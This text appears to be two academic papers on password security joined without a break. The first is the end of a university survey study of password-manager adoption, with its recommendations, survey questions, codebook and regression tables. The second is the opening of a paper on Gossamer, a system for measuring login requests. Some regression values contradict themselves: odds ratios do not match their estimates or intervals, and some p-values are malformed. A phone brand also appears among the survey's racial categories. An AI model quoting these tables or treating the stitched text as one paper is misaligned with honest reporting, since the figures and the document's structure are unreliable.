Fostering Trust in Password Managers Institutions can try
to increase trust in PMs by investing in a third-party PM and
availing it to members. This trust may be transitive, where
demonstrating institutional support for a PM leads to higher
trust in PMs. If synchronizing passwords in the cloud or using
a third-party vendor is a barrier for the institution or users,
the institution could consider deploying their own PM on-
premise so that the hosting occurs on the institution’s servers.
However, to prevent negative effects that could possibly arise
from a breach of their infrastructure, institutions must enforce
relevant measures, particularly encrypting users’ passwords
stored in the PM using their vault password as the key, just like
PMs do. Further, they must be ready to support users transition
to other PM options when they leave the organization.

Build on Existing Potential Our study suggests that the us-
age of third-party PMs correlates with more secure password
practices. In particular, our findings suggest that password
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reuse is substantially lower with third-party PMs. Yet, browser
built-in PMs are much more prevalent. We recommend that
institutions build on the existing potential of third-party PMs
by investing in transitioning users of browser built-in PMs to
third-party PMs, for example via talks and workshops. Help
desk staff could additionally assist users in this transition.

PM Functionality on Institution Websites Institutions
should offer advice on known compatibility problems. Among
the aspects least liked by PM users in our study was when
PMs were not working as expected. The primary goal should
be to ensure compatibility with all internal services, and recent
work by Huaman et al. provides guidance to ensure better inte-
gration with PMs [23]. Internal incompatibilities should also
be documented, with an end-goal of full compatibility in the
future. Additionally, advice on incompatibilities with external
sites could also be provided and would assist in mitigating
negative experiences stemming from such incompatibilities.

5.3 Recommendations to PM Developers

Our results indicate the need for design improvements of PMs,
particularly browser built-in PMs, to encourage more secure
password behavior among users. These are described next.

Passwords Need to Be Easily Accessible While passwords
can easily be accessed on browser built-in PMs, there is room
to make them even better and more usable. For instance, a user
of a third-party PM, like LastPass or 1Password, can easily
access all their passwords, generate random passwords, search
and even copy passwords through a quick pop-up provided
by this PM’s browser extension. This enables users of these
PMs to easily access the PM’s most important functionality
while not having to navigate to a new (internal) web page, as
is currently the case with most browser built-in PMs. While
browser built-in PMs are great at generating random pass-
words when they detect password fields, they should consider
implementing techniques such as pop-ups to make their fea-
tures more readily available to users. Further, adding a visual
icon of the PM, similar to third-party PM extensions, as part
of the browser interface could serve as a useful reminder for
users to utilize the browser built-in PM’s features even more.
Such affordances are a promising area of future research.

Password Generation Needs to Be Prominent in UI Third-
party PM users were found to exhibit the lowest reuse rate
among PM users. While this is likely a result of third-party
PM users being more security-driven compared to browser
built-in PM users who are more convenience-driven, browser
built-in PMs can take some steps to reduce this reuse. While
these PMs already check password reuse across accounts and
inform users, it is likely that most users just ignore these warn-
ings, as already confirmed by Huh et al. [24] in their study ex-
ploring the effectiveness of password reset emails. Therefore,
browser built-in PMs should consider updating their warning

dialogues to better focus on showing the associated security
risks as well as conveying a sense of urgency to nudge users
to update their reused credentials. Nonetheless, additional
work is needed to explore why PM users, particularly browser
built-in PM users, still re-use their passwords.

6 Related Work

6.1 User-perspective on Password Managers

Prior work has explored perception and usability, as well as
factors fostering or hindering the adoption of PMs. Of these
factors, ease of use and trust seem to be strong indicators
for the adoption of PMs [1, 9, 31]. A recent investigation by
Pearman et al. [42] found that usability and convenience drive
adoption of PMs while security concerns hinder adoption.
Their results also indicate that reuse of passwords seems to
be lower with users of a third-party PM. We confirm these
qualitative findings through one of the first large-scale quanti-
tative measures of PM usage at a large institution, and offer
recommendations that can further boost PM adoption.

For behavioral constructs, it has been reported that insuf-
ficient time for users, a low perceived threat, and a lack of
immediacy hinder adoption of PMs [4], while autonomy i.e.,
the feeling of having control and being able to make free
decisions, has the largest impact on PM adoption when con-
sidering factors from the Self-Determination Theory [2].

Comparing PM users to non-users, PM users have been
shown to be more likely to find PMs easy to use, convenient,
trustworthy, and secure [15], confirmed in our study. Non-PM
users, on the other hand, see PMs as insecure and a single
point of failure. They rate themselves worse at protecting their
online security and feel they can do no better [15]. Further, it
appears that experts are more likely to adopt PMs [48].

Ray et al. [43] demonstrated that older adults exhibit a
higher mistrust in cloud storage of passwords and are afraid
of the PM becoming a single point of failure. However, these
barriers might be overcome by recommendations from family
members, similar to social norms and influence driving adop-
tion [1, 42]. Our results similarly confirm the important role
of word-of-mouth propagation in creating PM awareness.

Finally, Lyastani et al. [30] showed that the use of a PM
does not automatically bring all the potential benefits to users.
PM users are still likely to choose weak passwords if they do
not use a password generator (recently confirmed by Oesch et
al. [40]), and even those using a password generator still end
up with some weak passwords. This becomes more apparent
through the effect found for Chrome auto-fill, which in the
authors’ analyses, was a significant precursor to password
reuse. Our results similarly find higher password reuse rates
for browser built-in PMs than for third-party PMs. Additional
work is required to explore this further.
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6.2 Technical Perspective on PMs

PMs have been found to exhibit a lack of resilience to inter-
nal observation [7]. Additionally, compatibility issues with
websites have been found to persist [23, 39, 47]. Similarly,
attacks that leak arbitrary credentials to attackers for several
PMs also continue to persist as of 2020 [29, 39].

6.3 Password Security

As passwords are the dominant user authentication scheme
[22], their security and usability has been the subject of a
lot of research. One of the main usability challenges is the
high number of passwords users have to manage. An average
of 25 to 80 seems to be a valid approximation [17, 18, 48].
Yet, as Stobert et al. [48] note, this high number of accounts
and passwords overwhelms users and drives them to insecure
password management strategies. Reuse is one of the most
prevalent insecure strategies, particularly for passwords users
perceive as secure [20]. If a password is reused, a single
leak is required to compromise all accounts protected by that
password [26]. Estimates of password reuse range from 1.84
to 3.9 times per password [8, 17] or that 37% to 43% of
passwords are reused across multiple accounts [13, 30].

While users generally seem to follow a well-defined pass-
word creation process, this process is sometimes based on
misconceptions and produces weak passwords [34, 50]. Pass-
words created on mobile devices seem to be particularly
easy to guess [36], similar to PINs [6, 32, 38] and unlock
patterns [37] used for smartphone unlock. Further, automated
approaches have been shown to rival the performance of pro-
fessional password guessing specialists [52].

Mandatory password changes have also been shown to have
limited security benefits, similar to PIN upgrades on smart-
phones [38]. Originally thought to mitigate undetected pass-
word leaks, frequent password changes hinder attackers less
than originally thought [10] and lead users to create weaker
passwords and derive new passwords from old ones [53].
Users, however, can be nudged towards more secure pass-
words. Stringent password meters seem to work well [51]
and can be combined with modern password policies [46]
and effective awareness materials [33]. Salience nudges also
seem to hold value [27]. However, ethical aspects need to be
considered when applying nudges [44].

6.4 Institution-wide Studies

Several studies have investigated passwords and two-factor
authentication (2FA) at institutions. Parkin et al. [41] found in
a university-wide setting that users preferred self-service pass-
word resets, despite this method’s higher failure rate compared
to help desk password resets. Measuring password security
with a large university sample, Mazurek et al. [35] found that
password guessability correlated with demographic factors

and Awad et al. [5] found in their sample of a small uni-
versity evidence of predictable password choice. Colnago et
al. [11] recommend focusing on ease of use aspects and com-
munication to convince users of the advantages of adopting
2FA. Dutson et al. [14] captured positive (e.g., ease of use)
and negative (e.g., locked out of system) experiences after a
university-wide roll-out of 2FA. Our study similarly finds that
these factors can drive or hinder the adoption of PMs.

7 Conclusion

We investigated the state of Password Manager (PM) aware-
ness and usage as well as general password habits at a private
university in the United States through a large-scale quanti-
tative study, finding that awareness and usage of PMs was
generally high among our participants. Yet, password reuse
was significantly lower when using third-party PMs compared
to browser built-in PMs. We also found that perceived ease-
of-use was the biggest factor in encouraging adoption of PMs
overall, suggesting that campaigns encouraging the adoption
of PMs should focus on PM’s usability. Perceived security
seems to play an important role for the adoption of third-party
PMs. The vast majority of participants that were already us-
ing a PM, were satisfied with it. Finally, our results indicate
the importance of organizations in fostering use of PMs as
most users would adopt a PM if it was offered to them by an
organization they are part of.
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Appendix

A Survey Material
Purpose of Study
You are being asked to take part in a research study about the use of passwords in a
variety of scenarios. You will be asked to complete a short survey that should take
approximately 10 minutes and no more than 30 minutes. There are no expected costs,
and you will be eligible to win a $10 gift card.
Password Management Techniques
In the following questions, you are going to be asked about your perceptions regarding
password management.

1. Please describe how you manage your passwords across accounts. [free text]

2. Indicate if you have ever used any of the following password management
techniques. Select all that apply.
□ I remembered my passwords without writing them down or storing them
digitally □ I reset my password every time I log in rather than remembering
my password □ I stored my passwords in a digital file or files □ I saved my
passwords in the browser (for example, passwords saved in Chrome) □ I used a
third-party password manager (for example, Lastpass or Onepass) □ I used a
system-provided password manager (for example, Apple’s Keychain) □ I wrote
my passwords down on paper or other physical media □ None of the above

3. Do you reuse passwords across different accounts?
◦ Yes ◦ No ◦ Unsure

If participants indicate storing their passwords as a digital file or files:

4. You indicated that you store your passwords as a digital file or files. Please
answer the following questions:

(a) I manually copy this file to multiple devices. ◦ Yes ◦ No ◦ Unsure

(b) I use a synchronization tool, like DropBox or Google Drive. ◦ Yes ◦ No
◦ Unsure

If participants indicated saving their passwords in the browser:

5. You indicated that you save your passwords in your browser (e.g., passwords
saved in Chrome). Please answer the following questions:

(a) Do you use your browser’s features to make your passwords available
on browsers installed on multiple devices? ◦ Yes ◦ No ◦ Unsure

If participants indicated using a third-party password manager:

6. You indicated that you use a third-party manager (e.g., Lastpass or 1pass) to save
your passwords. Please answer the following questions:

(a) Do you use your third-party password manager to make your passwords
available on multiple devices? ◦ Yes ◦ No ◦ Unsure

If participants indicated using a system-provided password manager:

7. You indicated that you use the system provided PM (for example, Apple’s
Keychain) to save your passwords. Please answer the following questions:

(a) Do you use your system-provided password manager to make your
passwords available on multiple devices? ◦ Yes ◦ No ◦ Unsure

If participants indicated using multiple strategies:

8. You indicated that you use multiple strategies for managing passwords. Please
describe how you combined these strategies for managing your passwords across
different accounts. [free text]

General Strategies

9. Are there any other details you’d like to share about how you manage your
passwords across different accounts? [free text]

Strategies For Managing the George Washington University Account Passwords
In the next section, we are interested in learning more about your password management
for your university account password. This is the password you use to access your email
and other George Washington University account services.

10. What strategy did you use to create your most recent George Washington Uni-
versity account password? [free text]

11. Why did you use that creation strategy for your most recent George Washington
University account password? [free text]

12. When you are prompted to log into your George Washington University account,
do you typically have the password automatically filled because you’ve saved it
previously? ◦ Yes ◦ No

13. Please indicate how secure your George Washington University account pass-
word is when it is compared to other accounts where you use a password. [Much
less secure, Somewhat less secure, About equally secure, Somewhat more secure,
Much more secure, Unsure]

14. Please explain why you chose that level of security for your George Washington
University account password. [free text]

Password Managers
In the next section questions we are going to ask you about password managers. Please
read the following text carefully.

Password managers are tools that can securely handle passwords for you. They
can remember your passwords, generate new ones, and even sync them across devices.
There are various types of password managers with different features, but for the
purpose of this survey, we will consider three of them. One type of password manager
is built into the web browser, such as Chrome, Firefox, Safari, Internet Explorer, and
Edge. These browsers can remember passwords for websites, as well as autofill them
for you.

Another type of password manager is a third-party application (e.g., 1Password,
LastPass). This can be software you install directly on to your devices or a service you
can access on the web. It can also remember and/or autofill your passwords, including
across browsers and devices.

Lastly, your operating system can serve as a password manager as well. For
example, the Keychain functionality on MacOS can remember passwords in and out of
your browser. It can also be used with iCloud to sync passwords across Apple devices.

Ultimately, the main purpose of password managers is to automatically handle your
passwords for you.

15. Based on this description, do you use a password manager? (Select all that apply)
□ I save my passwords in the browser (for example in Chrome).
□ I use a third-party manager (for example, Lastpass or Onepass).
□ I use a system provided password manager (e.g. Apple’s Keychain).
□ I do not use a password manager.

If participants indicated using at least one of the above PMs:

16. Where did you first hear about password managers?
◦ Work ◦ Media (Internet, TV, radio, etc) ◦ Other People (friends, family, etc,
but not at work) ◦ School/class ◦ I don’t know (don’t remember, not sure)
◦ I first heard about it in this study ◦ Other [free text]

17. Please indicate your agreement with the following statements. [Strongly disagree,
Somewhat disagree, Neither agree nor disagree, Somewhat agree, Strongly agree]
(a) Using a password manager makes my accounts less likely to be compromised.
(b) Using a password manager means I do not have to worry as much about
the safety of my accounts. (c) Password managers are fun to use. (d) Password
managers are easy to use. (e) Password managers are difficult to use. (f) Password
managers are annoying to use. (g) Password managers can be trusted. (h) I know
how password managers work.

Password Manager Users

18. What is the main reason you do use a password manager? [free text]
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19. Which of the following password managers do you use most frequently?
◦ LastPass ◦ 1Password ◦ Dashlane ◦ KeePass ◦ EnPass ◦ Kaspersky
Password Manager ◦ Apple Keychain ◦ Firefox ◦ Chrome ◦ Other

20. How satisfied are you overall with your experience using [PM selected above]?
[Moderately satisfied, Slightly satisfied, neither satisfied nor dissatisfied, slightly
dissatisfied, moderately dissatisfied, extremely dissatisfied]

21. Please select in the following the statement which describes you the most. When
creating or resetting a password for an important account
◦ I let the password manager create and store the password.
◦ I create the password myself, and the PM stores it for me.
◦ I create the password myself and recall it without storing it in the password
manager.

22. What do you like the most about using a password manager?
◦ Not having to type my passwords (autofill) ◦ Generate strong passwords
◦ Not having to memorize passwords ◦ Synchronizing passwords for access
across multiple devices ◦ Having unique passwords ◦ Using the desktop
client ◦ Viewing my passwords ◦ None of the above ◦ Other

23. What do you like the least about using a password manager?
◦ I have security concerns ◦ Master password concerns ◦ Entering passwords
on an incompatible device where the password manager cannot be installed
◦ Entering passwords when PM is not installed ◦ Saves passwords that I do
not want to save ◦ Cannot view passwords ◦ Generates passwords with
unacceptable symbols ◦ Does not work correctly on some websites ◦ None
of the above ◦ Other

If participants indicated disliking something about the PM above:

24. You mentioned that [least liked feature mentioned above] was what you liked
least about using a password manager. Please explain your answer? [free text]

Non-Password Manager Users

25. What is the main reason you do not use a password manager?

26. Have you used a password manager in the past? ◦ Yes ◦ No

If participants indicated using a password manager in the past:

27. When did you stop using the password manager and what was the main reason
why? [free text]

If participants indicated not using a password manager in the past:

28. Could you imagine adopting a password manager? If so, for what main reason?
[free text]

If participants indicated using a PM in the past:

29. Could you imagine using a PM again? If so, why? [free text]

Password Manager Adoption

30. If you were a member of an organization (company, university, etc.) which offered
a password manager to all its members for free, how likely are you to adopt this
password manager? [Extremely likely, Moderately likely, Slightly likely, Neither
likely nor unlikely, Slightly unlikely, Moderately unlikely, Extremely unlikely]

IT Skills

31. Please indicate your agreement with the following statements. [Strongly disagree,
Somewhat disagree, Neither agree nor disagree, Somewhat agree, Strongly agree]
(a) I seek out opportunities to learn about security measures that are relevant to
me. (b) I am extremely motivated to take all the steps needed to keep my online
data and accounts safe. (c) Generally, I diligently follow a routine about security
practices. (d) I often am interested in articles about security threats. (e) I always
pay attention to experts’ advice about the steps I need to take to keep my online
data and accounts safe. (f) I am extremely knowledgeable about all the steps
needed to keep my online data and accounts safe.

32. Which of the following describes you best?
◦ I am majoring / have a degree in IT security ◦ I am majoring / have a degree
in CS or a closely related field ◦ I work in the field of IT security ◦ None of
the above ◦ Prefer not to disclose

33. How well are you familiar with the following computer and Internet-related
items? [No understanding, Low understanding, Medium understanding, High
understanding, Full understanding] (a) Advanced search (b) PDF (c) Spyware
(d) Wiki (e) Cache (f) Phishing

Demographics

34. What is your gender?
◦ Woman ◦ Man ◦ Non-binary ◦ Prefer not to disclose ◦ Prefer to self
describe [free text]

35. What is your age? ◦ My age is [free text] ◦ Prefer not to disclose

36. Are you Hispanic, Latino/a, or of Spanish origin? (One or more categories may
be selected)
□ No, not of Hispanic, Latino/a/x, or Spanish origin □ Yes, Mexican, Mexican
American, Chicano/a/x □ Yes, Puerto Rican □ Yes, Cuban □ Yes, Another
Hispanic, Latino/a or Spanish origin □ Prefer not to disclose

37. Which of the following racial designations best describes you? (One or more
categories may be selected)
□ White □ Black or African American □ American Indian or Alaska Native
□ Chinese □ Filipino □ Asian Indian □ Vietnamese □ Korean □ Japanese
□ Other Asian (for example, Pakistani, Cambodian, and Hmong) □ Native
Hawaiian □ Samoan □ Google/Pixel/Nexus □ Chamorro □ Other Pacific
Islander (for example, Tongan, Fijian, and Mashallese) □ Other (Designation
not listed here) [free text] □ Prefer not to disclose

Raffle and Future Studies

38. Are you willing to be contacted via email for follow-up studies and/or have your
email entered into a raffle for a $10 Amazon gift card? (If so, you will be asked
for your email address on the next page.)
□ I am willing to be contacted via email for follow-up studies
□ I want my email to be entered into the $10 Amazon gift card raffle
□ None of the above

If participant is willing to be contacted for future studies or the raffle:

39. Please enter your email address. [free text]

B Codebook
• NA (224) • easy-to-remember (160) • memorize (134) frequent (18), primary
(10), sensitive (9), financial (5), reuse (4), outdated (3), guess-from-variations (2),
similar-passwords (2), work (1), own (1), difficult (1), hard-to-recall-strong-pwds (1),
typed-where-no-pm (1), SSO (1), multiple-devices (1), simple-pwds (1), not-browser
(1), non-sensitive (1), familiar-ones (1), mnemonics (1), personal-system (1), nev-
er-changed (1) • secure (99) uni-protection (3) • password-manager (91) lastpass
(27), icloud (16), google-auto-fill (14), 1password (11), password-safe (3), keepassxc
(2), apple-key-ring-feature (1), keypass (1), chrome (1), firefox (1), vault-password
(1), roboform (1), bitwarden (1), ewallet (1), dropbox (1), store-by-root-kdbx-database
(1), vault (1) • memorable (85) uni-associated (1) • reuse (84) new-variation (34),
same-as-other-accounts (8), from-previous-employment (4), work (2), non-sensitive (1),
not-more-than-three-times (1), outdated (1), from-high-school (1), ensure-memorability
(1), infrequent (1) • keep-record (78) hard-copy (32), save-in-excel (13), digital (11),
notes-app (9), cell-phone (7), email (1) • numbers (75) • multiple-variations (70)
category-dependent (4), unimportant-accounts (3) • same-password (63) uni-associ-
ated (7), category (5), similar-category-accounts (4), no-more-than-three-accounts (1),
unimportant-accounts (1) • browser (63) chrome (23), non-sensitive (8), primary (5),
frequent (4), sync (4), outdated (3), infrequent (3), firefox (2), convenient (2), trivial (2),
autofill (2), not-preferred (1), no-regular-change (1), work (1), non-reuse (1), sensitive
(1), no-sync (1), streaming-and-social-media (1), ease-of-use (1), complex-pwds (1),
non-financial (1) • digitally (62) file (23), notes-app (16), local (3), google-drive (3),
non-sensitive (2), password-protected (2), infrequent (2), saved (1), work (1), screenshot
(1), sensitive (1), forgotten-multiple-times (1), phone (1), phone-autofill (1), email-self
(1), google-doc (1), not-guessing (1), ease-of-use (1), regular-change (1), files (1), in-
-programs (1) • easy-login (60) • paper (60) sensitive (9), infrequent (8), outdated
(7), regular-change (3), complex-passwords (2), if-difficult-to-remember (2), initially
(2), shared-accounts (2), primary (2), incidentally (1), reminders (1), reuse (1), work
(1), not-standard-set (1), difficult-pwds-that-cannot-be-pasted (1), obfuscated-notes (1),
non-sensitive (1), unique (1), if-no-cookies (1), device-specific (1) • different-pass-
words (45) randomly-generated (11), important-accounts (7), category-dependent (4),
non-sensitive (1), difficult (1) • important-account (45) more-secure (8), secure-base–
password (1) • symbols (45) • letters (43) • convenient (43) • special-character (31)
• helps-keep-track (31) • strong-password (30) • third-party (29) primary (13), last-
pass (10), personal (5), 1password (5), keepass (2), sensitive (2), dashlane (1), financial
(1), work (1), roboform (1), outdated (1), phone (1), overwhelming (1), password-safe
(1), infrequent (1) • reuse-strategy (29) • system (25) keychain (23), non-sensitive (4),
convenient (3), personal (2), primary (2), outdated (1), non-cross-platform (1), phone
(1), not-often-typed (1), infrequent (1) • something-personal (25) • lacks-trust (24)
security (17), privacy (3) • difficulty-remembering (24) • dont-need-to-remember
(24) lazy (3) • redundancy (21) • authentication (21) • unique (20) • same-strategy
(20) • transition (19) • similar-passwords (19) variation (4), non-sensitive (2), reuse
(1), not-writing-down (1), outdated (1) • dont-need-it (18) use-different-solution (4),
good-memory (1) • date (18) month (3) • phrase (17) • saves-time (17) • single-sign-on
(16) • capital-letters (15) • hard-to-guess (15) • word (15) • password-requirement
(14) • reset (14) if-forgotten (6), infrequent (4), financial (1), pwd-on-different-device
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(1), complex-pwd (1), specific-system (1), not-big-deal (1) • personally-related (14)
memorable (10) • association (13) uni (8), school (2), job (2) • characters (13) • unre-
lated-response (13) • avoid-repeat-typing (13) • random-password (12) • no-strategy
(11) • satisfies-security-requirement (11) • name (11) family (3), pet (2), celebrity (1),
hero (1) • saved-in-browser (11) frequent (1) • randomized (10) • personally-created
(10) • same-level-of-security-as-other-accounts (10) • do-not-want-to-be-hacked
(10) • able-to-have-unique-passwords (10) • pm (10) primary (3), regular-changes (1),
outdated (1), work (1), similar-passwords (1), frequent (1), overwhelmed (1), infrequent
(1) • frequent-login (9) • didnt-know-about-it (9) • difficult-password-organiza-
tion (9) • different-strategy-by-category (9) • several-passwords-reused (9) four (4),
three (4), two (1) • random (9) characters (1), numbers (1) • able-to-have-stronger–
passwords (9) • used-required-elements (9) • frustration (8) two-factor-authentica-
tion (3), forced-reset-password (2) • no-management (8) ad-hoc (3), chaotically (1)
• secure-place (8) • difficult-remembering-passwords (8) • do-not-know-how-se-
cure (8) • lacking-knowledge (8) technical-skills (3) • not-important-account (7)
uni-not-high-target (3) • automatically-available (7) • work-vs-personal (7) • no-rea-
son (7) • used-password-generator (7) from-norton (1), password-safe (1) • pass-
word-protected (7) • it-works (6) • only-used-for-some-passwords (5) • non-pm (5)
outdated (4), financial (1) • lowercase-letters (5) • sentence (5) • initials (5) pets (1),
of-random-objects (1), personal (1) • reset-passwords (5) often (2) • alphanumeric
(4) • dislike-password-manager (4) no-manual-entry (1), no-trust (1), time-consum-
ing (1) • for-personal-use (4) • decline-to-answer (4) • two-step-authentication (4)
• will-not-use-pm-again (4) need-remote-access-at-all-times (1), can-be-hacked (1)
• uni-account (4) • received-recommendation (4) • no-issues (4) • rely-on-com-
puter-to-save (4) • reuse-passwords (3) • prefer-not-to-use-password-manager
(3) • cookies (3) frequent (1) • worried-about-security (3) • physically-store-pass-
words (3) print-out (1) • family-member-attribute (3) • created-new-password (3)
did-not-allow-to-use-old-password (1) • prefer-one-password (3) • too-much-steps
(3) • prefer-not-creating-new-passwords (3) • remember-me-feature (3) • difficult
(3) • important-information (3) • personally-unrelated (3) • use-forgot-my-pass-
word (2) • able-to-have-randomized-passwords (2) • words (2) • autopopulate (2)
• sync-accross-devices (2) • possibly (2) • fingerprint-authentication (2) • saved-via–
cookies (2) • trust (2) • uni-generated-password (2) • forced-to-change-password (2)
• not-for-work (2) • season (2) • memorize-passwords (2) • for-school (2) • required–
to-use (2) • easy-password (2) • event (2) • simple (2) • store-in-phone (2) • at-risk
(2) • dont-use (2) • ease-of-use (2) • password-access-across-devices (2) • cross-p-
m-sync (2) not-sensitive (1) • save-in-emails (1) • dont-need-to-reset-passwords (1)
• same-formulaic-approach (1) • password-formula (1) • prefer-password-man-
ager (1) • considering-using-password-manager (1) • stopped-after-few-days (1)
• saves-energy (1) • pwd-relates-to-self (1) • do-not-know-password-manager (1)
• depends-on-location (1) • maybe (1) • non-systematic (1) • long (1) • firefox-algo-
rithm (1) • anagram (1) • want-control-over-account (1) • returned-to-keychain
(1) • not-against (1) • rely-on-google-security (1) • song-lyrics (1) • complicated (1)
• dislike (1) • not-effective (1) • mnemonic (1) • no-cookies (1) financial (1), infrequent
(1) • unify-passwords (1) • own-vs-others (1) • school-password (1) • secure-server
(1) • cannot-tell (1) • incrementation (1) • unique-profile-identifier (1) • dont-use–
password-manager (1) • fantasy-world (1) • received-email-with-personal-data-s-
tored-in-password-manager (1) • difficulty-managing-passwords (1) • combination–
makes-management-possible (1) • pwd-variation (1) number (1) • friend-attribute
(1) • make-it-work (1) • able-to-share-passwords (1) • MFA-procedure (1) importan-
t-accounts (1) • feel-confident (1) • if-easier-to-use (1) • like-password-manager (1)
• two-university-passwords (1) • do-not-remember (1) • feel-unsafe (1) • obfuscat-
ed-notes (1) • lazy (1) • different-strategies-for-different-platforms (1) • dont-care
(1) • place (1) • store-in-spreadsheet (1) • best-right-now (1) • personal-joke (1)
• not-familiar-with-security (1) • acronym (1) • efficient (1) • occasional-use (1)
• exceed-password-requirements (1) • store-on-laptop (1) • did-not-keep-active
(1) • no-patience (1) • rotating-suffix (1) • consistent-system (1) • mental-cypher
(1) • do-not-prefer-random-passwords (1) • expire-at-different-times (1) • no-sync
(1) • personal-use (1) • google-security (1) • if-needed (1) • impacted-ability-to-ac-
cess-accounts (1) • weak-password-strength (1) • stopped-working-on-computer
(1) • prefer-two-factor-authentication (1) • pseudoencryption (1) • store-on-usb
(1) • open-to-use (1) • saved-in-google-account (1) • does-not-help (1) • not-sure
(1) • use-apple-key-chain (1) • hackers-can-outsmart (1) • cannot-memorize-all
(1) • non-reuse (0) more-unique (1) • long-random (0) sensitive (1) • uni-acount (0)
unique-password (1) • non-memory (0) infrequent (1)

C Additional Regressions
The following tables show the results for the regressions per-
taining to users’ adoption of one type of PM. Significant
factors are marked in bold italic.

Table 8: Logistic regression for adoption of browser built-in
PMs.

Est. OR 95% CI p-val

(Intercept) 0.81 2.26 [0.41,13.05] .354
SA-6 -0.33 0.72 [0.53, 0.95] .025

Web Skill 0.14 1.15 [0.75,1.80] .524

Security: Agree (vs Disagree) −0.40 0.67 [0.27,1.65] .383

Tranquility: Agree (vs Disagree) −0.28 0.75 [0.28,2.02] .567

Fun: Agree (vs Disagree) −0.28 0.76 [0.32,1.81] .526

Ease of Use: Agree (vs Disagree) 1.09 2.99 [1.45, 6.30] .003

Difficulty: Agree (vs Disagree) −0.40 1.49 [0.35,6.47] .588

Annoyance: Agree (vs Disagree) −0.21 0.81 [0.30,2.20] .671

Transparency: Agree (vs Disagree) −0.08 0.92 [0.42,2.02] .831

Trust: Agree (vs Disagree) 0.27 1.31 [0.63,2.78] .476

Uni. account: More secure
(vs Less secure) 0.01 1.01 [0.52,1.96] .975

Role: Student (vs Non-student) 0.371 1.45 [0.74,2.89] .285

Gender: Woman (vs Man) 0.10 1.10 [55,2.19] .787

Table 9: Logistic regression for adoption of third-party PMs.

Est. OR 95% CI p-val

(Intercept) -6.03 416.34 [>0.00, 0.02] <.001
SA-6 0.48 1.62 [1.06, 2.60] .033

Web Skill −0.06 0.95 [0.49,1.81] .866

Security: Agree (vs Disagree) 2.76 12.82 [4.73, 61.28] <.001

Tranquility: Agree (vs Disagree) −1.15 0.32 [0.08,1.31] .087

Fun: Agree (vs Disagree) 0.20 1.22 [0.37,3.92] .743

Ease of Use: Agree (vs Disagree) 0.56 1.76 [0.53,6.40] .369

Difficulty: Agree (vs Disagree) 0.44 1.56 [0.22,10.54] .648

Annoyance: Agree (vs Disagree) 0.34 1.40 [0.38,5.03] .601

Transparency: Agree (vs Disagree) 1.59 4.91 [1.69, 15.76] .005

Trust: Agree (vs Disagree) 0.77 2.15 [0.77,6.27] .0.15

Uni. account: More secure
(vs Less secure) 0.38 1.46 [0.57,3.76] .427

Role: Student (vs Non-student) -1.14 3.11 [0.11, 0.85] .028

Table 10: Logistic regression for adoption of OS built-in PMs.

Est. OR 95% CI p-val

(Intercept) -3.10 0.05 [0.01, 0.18] <.001
SA-6 0.06 1.06 [0.83,1.35] .651

Web Skill 0.24 1,27 [0.89,1.81] .0.191

Security: Agree (vs Disagree) −0.01 0.99 [0.42,2.35] .982

Tranquility: Agree (vs Disagree) −0.58 0.56 [0.23,1.32] .189

Fun: Agree (vs Disagree) −0.58 0.56 [0.26,1.17] .133

Ease of Use: Agree (vs Disagree) 1.34 3.83 [1.89, 8.27] <.001

Difficulty: Agree (vs Disagree) 0.48 1.62 [0.44,5.64] .457

Annoyance: Agree (vs Disagree) 0.38 1.47 [0.68,3.14] .324

Transparency: Agree (vs Disagree) 0.45 1.56 [0.82,2.99] .173

Trust: Agree (vs Disagree) 0.32 1.38 [0.75,2.52] .298

Role: Student (vs Non-student) 0.39 1.48 [0.83,2.64] .186
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Abstract
Passwords remain the primary way to authenticate users on-
line. Yet little is known about the characteristics of login
requests submitted to login systems due to the sensitivity of
monitoring submitted passwords. This means we don’t have
answers to basic questions, such as how often users submit
a password similar to their actual password, whether users
often resubmit the same incorrect password, how many users
utilize passwords known to be in a public breach, and more.
Whether we can build and deploy measurement infrastructure
to safely answer such questions is, itself, an open question.

We offer a system, called Gossamer, that enables securely
logging information about login attempts, including carefully
chosen statistics about submitted passwords. We provide
a simulation-based approach for tuning the security-utility
trade-offs for storing different password-derived statistics.
This enables us to gather useful measurements while reducing
risk even in the unlikely case of complete compromise of the
measurement system. We worked closely with two large uni-
versities and deployed Gossamer to perform a measurement
study that observed 34 million login requests over a seven
month period. The measurements we gather provide insight
into the use of breached credentials, password usability, and
other characteristics of the submitted login requests.

1 Introduction

Despite the prevalence of password-based authentication
across the internet, little is known about the passwords sub-
mitted to login systems. Knowing the characteristics of such
login information would help practitioners make better se-
curity policies to improve both usability as well as attack
detection. A key challenge hindering progress is that pass-
words are highly sensitive, and as a result prior work has only
performed very limited measurements.

Two prior works are particularly relevant. Bonneau et
al. [10] instrumented Yahoo login servers for 48 hours to learn
the distribution of actual user passwords. But his technique

∗Work done while at UW–Madison

could not record other information about submitted (valid or
invalid) passwords, such as the similarity between the succes-
sive password submissions. Chatterjee et al. [11] were the
first to investigate incorrect password submissions from the
viewpoint of a login server. They instrumented Dropbox’s lo-
gin service for 24 hours to investigate how often users submit
a fixed set of easy-to-correct typos. However, their study was
limited to only a specific set of typos, and does not provide a
general framework for analyzing submitted passwords. Thus
the question remains: Can we build login measurement in-
frastructure that monitors password submissions, but doesn’t
endanger security?

In this work, we design, build, and deploy a measurement
system, called Gossamer, that securely records login requests,
including statistics about submitted passwords. Doing this
safely required extreme care, and our main contribution is a
holistic approach that combines systems security features, a
simulation-based framework to guide selection of password-
derived statistics, and procedural safeguards. Ultimately, our
initial deployment at two large universities is able to answer,
for the first time, basic questions about submitted passwords—
such as how often legitimate users are making typos or repeat-
edly submitting the same incorrect password, whether attacks
are detectable as credential stuffing, and more.

Performing such measurements requires jointly analyzing
passwords submitted at different points in time. Prior measure-
ment studies computed a (keyed) hash over a correctly submit-
ted password [10] or compared the hashes of a small handful
of variants of a submitted password to the real user’s pass-
word hash [11]. Neither approach allows inferring whether
users are submitting the same password multiple times or, if
not, how many unique passwords they submit.

To enable such measurements, Gossamer’s design uses a
two-service logging infrastructure to ensure least privilege.
Gossamer has a specialized measurement service that receives
a copy of login requests from login servers, processes them
by computing password statistics and encrypting submitted
usernames, and outputs sanitized logs to a persistent database
on a different machine. The measurement service, like login
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servers, has access to plaintext passwords. Thus we designed
it to match or exceed the security properties of login servers: It
is safe-on-reboot [31] (no sensitive data such as passwords are
ever stored on disk), deletes all in-memory data periodically
to limit the scope of what would be exposed in the case of
a breach, and is administered by the same security staff in
charge of login servers.

Researchers use a separate analysis service to access the
sanitized logs stored in the persistent database. The sanitized
logs and analysis service are still treated as sensitive, and
cannot be made publically available. To assess the risk to user
passwords in the unlikely case of complete exposure of both
